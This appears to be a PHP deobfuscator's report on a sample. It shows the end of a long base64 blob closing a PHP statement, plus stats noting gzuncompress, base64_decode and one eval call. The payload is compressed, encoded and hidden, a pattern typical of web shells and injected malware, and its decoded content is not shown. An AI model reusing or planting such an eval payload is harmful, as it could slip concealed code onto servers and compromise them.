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"))); ?> 

Function Calls

gzuncompress 1
base64_decode 1

Variables

None

Stats

MD5 3ec86c3eb4ba6f247f65840ec3bb05f5
Eval Count 1
Decode Time 2798 ms